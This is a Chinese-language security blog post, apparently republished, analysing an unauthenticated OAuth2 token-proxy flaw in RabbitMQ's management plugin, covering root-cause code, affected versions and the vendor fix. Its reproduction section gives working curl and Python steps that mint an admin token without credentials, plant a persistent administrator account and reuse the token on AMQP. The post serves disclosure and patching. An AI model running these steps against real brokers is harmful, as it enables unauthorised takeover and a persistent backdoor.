RabbitMQOAuth2未授权令牌获取漏洞

admin 2026-12-04 10:51:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

RabbitMQ OAuth2 未授权令牌获取漏洞

原创

MY0723
MY0723

不秃头的安全

2026年12月1日 20:35
北京

去阅读

RabbitMQ OAuth2 未授权令牌获取漏洞

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。知识星球和交流群在最下方。需要cn*d(中高)/c2n*d(高与支撑单位)/安全证书请联系vx咨询

RabbitMQ 管理插件的 OAuth2 令牌代理(token proxy)不校验调用方身份,转发时也不限制 grant_type。攻击者可以借 broker 自己的 client_secret 匿名换取访问令牌,并用它接管管理面和 AMQP 数据面。

公告:GHSA-cfvg-5q96-8mhm,2026-11-27 公开,CVE 编号尚未分配。360 漏洞研究院依托图龙锋已完成复现,编号 LDYVUL-2026-00333843。

一、漏洞速览

项目 内容
漏洞名称 RabbitMQ OAuth2 未授权令牌获取漏洞
公告编号 GHSA-cfvg-5q96-8mhm(截至发稿 CVE 编号尚未分配)
国内编号 LDYVUL-2026-00333843(360 漏洞研究院 / 图龙锋)
漏洞类型 身份认证绕过(CWE-306)
严重程度 Critical
CVSS 3.1 版 9.8(报告者建议值)/ 4.0 版 9.1(360 评估值)
公开时间 2026-11-27
在野利用 未发现
受影响版本 4.4.0 ≤ v < 4.4.1;4.3.3 ≤ v < 4.3.8;4.2.9 ≤ v < 4.2.13
修复版本 4.4.1 / 4.3.8 / 4.2.13(4.2.13 仅通过企业支持渠道提供)

二、令牌代理:为藏住 secret 的端点

RabbitMQ 4.2.9 / 4.3.3 / 4.4.0 起,管理插件支持把 OAuth2 / OIDC 身份提供方(IdP)接进管理面。管理 UI 是浏览器里的 SPA,不能持有 client_secret。

RabbitMQ 的做法是做一个服务端令牌代理:浏览器把令牌请求发给 broker,broker 补上 client_secret 转发给 IdP 的 token endpoint,浏览器全程看不到 secret。路由是:

POST /js/oidc-oauth/token-endpoint/<resource-server-id>

deps/rabbitmq_management/src/rabbit_mgmt_oauth_token_proxy.erl 的模块注释把意图写得很清楚:

%% Server-side proxy for the OAuth 2 token endpoint.
%%
%% It exists so that management.oauth_client_secret is never sent to
%% the browser. Resource servers that need a client secret point the OAuth 2
%% client at this proxy instead of the identity provider. The proxy adds the
%% secret and forwards the request to the provider's real token endpoint.

浏览器拿到的是一份被改写过的 OpenID 配置文档(/js/oidc-oauth/token-endpoint/<id>/openid-configuration),其中 token_endpoint 被替换成代理地址。SPA 以为自己在跟 broker 说话,实际是 broker 在跟 IdP 说话。

代理本身实现得没问题,问题出在两处:

  1. 1

这条路由没有接入调用方鉴权。 管理插件里其它 /api/* 资源都会实现 is_authorized 回调,交给 rabbit_mgmt_util:is_authorized_* 检查 Basic/Bearer 凭据;令牌代理模块没有这个回调,等于端点对整个网络公开。
2. 2

转发时不限制 grant_type。 任何 grant_type 都照转,包括不需要用户登录的 client_credentials 和 password。

两者叠加的结果:任意能连到管理端口的对端,可以让 broker 拿着自己的机密客户端凭据,向 IdP 申请一个 scope 由自己指定的访问令牌。

这不是配置错误触发的——按官方文档配的标准 OAuth2 管理部署本身就会踩到。公告原文:\"No operator misconfiguration is involved; the affected setup is the documented one.\"


三、根因一:这条路由根本没有鉴权

路由注册在 deps/rabbitmq_management/src/rabbit_mgmt_dispatcher.erl:52-55:

build_oauth_token_proxy_routes(Prefix) ->
    Base = Prefix ++ \"/js/oidc-oauth/token-endpoint/\",
    [{Base ++ \":id\", rabbit_mgmt_oauth_token_proxy, #{op => token}},
     {Base ++ \":id/openid-configuration\", rabbit_mgmt_oauth_token_proxy, #{op => metadata}}].

关键在 rabbit_mgmt_oauth_token_proxy:init/2(同文件 43-46 行):

init(Req, #{op := metadata} = State) ->
    handle_metadata(Req, State);
init(Req, #{op := token} = State) ->
    handle_token(Req, State).

对比普通管理资源 rabbit_mgmt_wm_user:init/2:

init(Req, _State) ->
    {cowboy_rest, rabbit_mgmt_headers:set_common_permission_headers(Req, ?MODULE), #context{}}.

普通资源返回 {cowboy_rest, ...},由 cowboy_rest 接着调用模块的 is_authorized/3,最终落到 rabbit_mgmt_util:is_authorized_admin/2 → rabbit_web_dispatch_access_control:is_authorized/7 → parse_credentials/2,没有凭据直接拒绝。

令牌代理自己 handle_token 完就 reply,全程没进 cowboy_rest,也没导出 is_authorized。这个插件的鉴权是资源模块自证式的——实现了才会被检查,没实现等于放行。


四、根因二:grant\_type 一个都没限制

rabbit_mgmt_oauth_token_proxy.erl:88-119:

handle_token(Req0, State) ->
    case cowboy_req:method(Req0) of
        <<\"POST\">> ->
            Id = cowboy_req:binding(id, Req0),
            case resolve(Id) of
                {ok, Secret, MetadataURL, HttpOpts, DiscoveryOpts} ->
                    forward_token_request(Req0, State, Secret, MetadataURL,
                                          HttpOpts, DiscoveryOpts);
                {error, _} ->
                    {ok, cowboy_req:reply(404, Req0), State}
            end;
        _ ->
            {ok, cowboy_req:reply(405, #{<<\"allow\">> => <<\"POST\">>}, Req0), State}
    end.

forward_token_request(Req0, State, Secret, MetadataURL, HttpOpts, DiscoveryOpts) ->
    case token_endpoint(MetadataURL, HttpOpts, DiscoveryOpts) of
        {ok, TokenEndpoint} ->
            {ok, Params, Req1} = cowboy_req:read_urlencoded_body(Req0),
            Body = uri_string:compose_query(inject_client_secret(Params, Secret)),
            case http_post(TokenEndpoint, Body, HttpOpts) of
                ...

请求体读出来、secret 拼上去、原样 POST 给 IdP。全程没有一处检查 grant_type。

代理原本只需要服务 authorization_code:用户在 IdP 登录完拿到一次性 code,浏览器把 code 交给代理换 token。但 client_credentials(客户端凭据换令牌,不涉及用户)和 password(用户名密码换令牌)同样放行。


五、根因三:client\_secret 由代理代填

同文件 125-131 行:

%% Only add the secret when the request does not already carry one, so an
%% explicit client_secret_post from the client is never overwritten.
-spec inject_client_secret([{binary(), binary() | true}], binary()) ->
    [{binary(), binary() | true}].
inject_client_secret(Params, Secret) ->
    case lists:keymember(<<\"client_secret\">>, 1, Params) of
        true -> Params;
        false -> Params ++ [{<<\"client_secret\">>, Secret}]
    end.

调用方不带 client_secret 时代理就补上。scope 这类调用方自己带的表单参数逐字透传给 IdP。攻击者只需要发一个 grant_type=client_credentials&client_id=<confidential client id>,剩下的由 broker 代劳。


六、为什么令牌能打到 AMQP 端口

管理面和 AMQP 数据面共用 rabbitmq_auth_backend_oauth2 这套校验逻辑。

deps/rabbitmq_auth_backend_oauth2/src/rabbit_auth_backend_oauth2.erl:433-442:

-spec token_from_context(map()) -> binary() | undefined.
token_from_context(AuthProps) ->
    case maps:get(password, AuthProps, undefined) of
        undefined ->
            case maps:get(rabbit_auth_backend_oauth2, AuthProps, undefined) of
                undefined -> undefined;
                Impl -> Impl()
            end;
        Token -> Token
    end.

AMQP 的 SASL PLAIN 认证把密码字段直接当 token 解析。用户名不参与校验,auth_user_from_token/2 完全从 token 的 preferred_username_claims 取用户名:

auth_user_from_token(Token0, ResourceServer) ->
    Username = username_from(ResourceServer#resource_server.preferred_username_claims, Token0),
    Tags     = tags_from(Token0),
    ...

audience 校验方面,rabbit_oauth2_resource_server.erl 的 resolve_resource_server_from_audience/1 做的只是\"拿 aud 挑一个 resource server 配置出来\",不判断请求来自管理面还是 AMQP 端口。管理面认的令牌,数据面照样认。


七、影响范围

分支 受影响版本区间 修复版本 起点版本发布日
4.4.x 4.4.0 ~ 4.4.0 4.4.1 2026-10-19
4.3.x 4.3.3 ~ 4.3.7 4.3.8 2026-07-20
4.2.x 4.2.9 ~ 4.2.12 4.2.13 2026-07-20

三个起点是令牌代理进入各维护分支的版本。逐 tag 核对源码树:rabbit_mgmt_oauth_token_proxy.erl 在 v4.2.9、v4.3.3、v4.4.0 存在,v4.2.8 和 v4.3.2 不存在(v4.2.8 的 dispatcher 只注册了 /js/oidc-oauth/bootstrap.js)。4.4.1 和 4.3.8 于 2026-11-16 同日发布;4.2.13 没有公开 tag,只能通过 Broadcom 企业支持渠道获取。

判定是否受影响,两个条件同时成立即中招:

  • management.oauth_enabled = true,且配置了 management.oauth_client_secret
  • auth_backends 里有 oauth2,且注册了 resource server


八、复现过程

环境:官方 rabbitmq:4.4.0-management 镜像(Erlang/OTP 29.1.2),启用 rabbitmq_management 与 rabbitmq_auth_backend_oauth2,按官方 OAuth2 管理文档配置,IdP 侧给 SPA 客户端授予管理员作用域。

最小 rabbitmq.conf(值按自己的 IdP 替换):

management.oauth_enabled = true
management.oauth_client_id = my_spa_client
management.oauth_client_secret = <confidential client secret>
management.oauth_provider_url = https://<idp-host>
management.oauth_resource_servers.1.id = rabbitmq

auth_backends.1 = oauth2
auth_oauth2.resource_servers.1.id = rabbitmq
auth_oauth2.resource_servers.1.oauth_provider_id = default
auth_oauth2.oauth_providers.default.issuer = https://<idp-host>
auth_oauth2.oauth_providers.default.jwks_uri = https://<idp-host>/jwks.json
auth_oauth2.oauth_providers.default.token_endpoint = https://<idp-host>/token

Step 1 — 无凭据铸造令牌。 没有 Authorization 头,没有 client_secret:

curl -s -X POST \"http://HOST:15672/js/oidc-oauth/token-endpoint/rabbitmq\" \\
     -d \"grant_type=client_credentials\" \\
     -d \"client_id=my_spa_client\"
{\"access_token\":\"eyJ...\",\"token_type\":\"Bearer\", ...}

IdP 侧看到的 token 请求来源是 broker 本身,client_id 是那个被授予管理员作用域的客户端——在 IdP 看来这是一次合法的客户端凭据调用。

Step 2 — 确认权限。

curl -s \"http://HOST:15672/api/whoami\" -H \"Authorization: Bearer <token>\"
{\"name\":\"...\",\"tags\":[\"administrator\"],\"is_internal_user\":false}

Step 3 — 落地持久化后门。

curl -s -X PUT \"http://HOST:15672/api/users/poc\" \\
     -H \"Authorization: Bearer <token>\" -H \"content-type: application/json\" \\
     -d '{\"password\":\"Poc12345678!\",\"tags\":\"administrator\"}'

响应 201 Created。账号落在 broker 内部用户库里,重启也在。

Step 4 — 跨到 AMQP 数据面。 同一枚 JWT 放进 SASL PLAIN 的密码位置:

import pika

creds = pika.PlainCredentials(\"anonymous\", jwt)   # 密码位放 JWT
conn = pika.BlockingConnection(pika.ConnectionParameters(\"HOST\", 5672, \"/\", creds))

握手通过。任意 vhost 上声明队列、投递、消费、清空、删除都正常。用户名随意,OAuth2 后端不看 AMQP 传上来的用户名。

公告附的是一份纯标准库实现的黑盒 PoC(HTTP + 手写 AMQP 0-9-1 帧),随原始邮件报告提交,需向报告者索取。

复现步骤取自 GHSA 公告原文;代码路径分析为对照 v4.4.0 tag 源码逐行核对所得,未在本地拉起完整 IdP 环境做端到端重放。


九、官方修复:grant\_type 加白名单

修复 PR:#17937 Improve OAuth 2 login,2026-10-21 创建、10-22 合入 main,改动 6 个文件、+105/-15。

核心是新增 check_grant_type/1:

%% This endpoint requires no authentication, so only grants that need a user
%% login at the provider first are relayed. A repeated `grant_type` is refused
%% because the provider may honour another occurrence.
-spec check_grant_type([{binary(), binary() | true}]) -> ok | {error, binary()}.
check_grant_type(Params) ->
    case [Value || {<<\"grant_type\">>, Value} <- Params] of
        [<<\"authorization_code\">>] -> ok;
        [<<\"refresh_token\">>] -> ok;
        [Value] when is_binary(Value) -> {error, <<\"unsupported_grant_type\">>};
        _ -> {error, <<\"invalid_request\">>}
    end.

三点:

  1. 1

只放行 authorization_code 和 refresh_token。这两种都要求先在 IdP 完成用户登录,代理转发本身不构成越权。
2. 2

重复的 grant_type 直接拒绝。参数列表里出现多个 grant_type 时返回 invalid_request 而不是取第一个——部分 IdP 实现会取第一个或最后一个,重复参数是典型的参数走私手法。
3. 3

端点依然不鉴权。SPA 必须能匿名调用它,修复没有把公开端点变成需鉴权端点,而是收窄了公开端点能做的事。

PR 里还带了一处日志修复:cowboy_req:read_urlencoded_body/1 在表单格式错误时带参数栈退出,栈帧里含整个请求体(含凭据),会写进 crash report。新增的 rabbit_mgmt_util:read_urlencoded_body/1 捕获该退出并返回 {error, malformed_body},rabbit_mgmt_wm_login 和 rabbit_mgmt_login 改用它,登录失败不再把密码写进日志。测试里加了断言检查日志中不出现 root-login-marker。

修复没覆盖的两点

报告者另外提的两个观察被官方单独分流,不在公告范围内:

  • 伪造 code / refresh\_token 的转发:代理仍会转发 authorization_code,攻击者可以构造一个假 code 发给代理,由 broker 带真 secret 去 IdP 换 token。归为 IdP 侧责任——IdP 本就该拒绝无效 code。
  • iss 断言:iss 校验在 backlog 上,尚未排期。

也就是说升级到 4.4.1 之后,端点仍然匿名可访问,iss 缺失和 aud 不绑定入口的问题也都还在。


参考

关于我们:

感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持,考证请加联系vx咨询。

  • 1. 需要考以下各类安全证书的可以联系

①Cn\*d,NCC,NVDB🀄️高漏洞证书

②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得

③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA,oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可,证书组团报更便宜,可对公,可开专普票。以下是其他全部证书

【腾讯文档】【信息安全 数据安全 IT认证证书】~不秃头的安全Vx:Meditation0723

https://docs.qq.com/doc/DZmtOckpOakJrcFVv?#

想加群下方二维码,群过期或群满加下方vx拉:
*
* ## 2. 需要入星球的可以私聊优惠

1、src、cnxd、cnnxd、POC专项漏洞知识库,包含原理、挖掘技巧、实战案例 2、fafo/零零信安 高级会员key 3、全网搜集POC在线文档,详情poc及证明截图(3000+以上文章) 4、知识星球专属微信“内部圈子交流群” 5、攻防演练资源分享(免杀、溯源、钓鱼等) 6、新鲜工具分享 7、不定期有工作招聘内推(工作/护网内推) 8、19个专栏会持续更新~提前续费有优惠,好用不贵很实惠

## 3、其他合作(合法合规)

1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目(须授权),需要攻防团队或岗位招聘都可代发、代招(灰黑勿扰);

2、各位安全老板需要文章推广的请私聊,承接合法合规推广文章发布,可直发、可按产品编辑推广;合作、推广代发、安全项目、岗位代招均可发布;

3、接受脱敏投稿,送一年知识星球及礼包。

    评论:0   参与:  0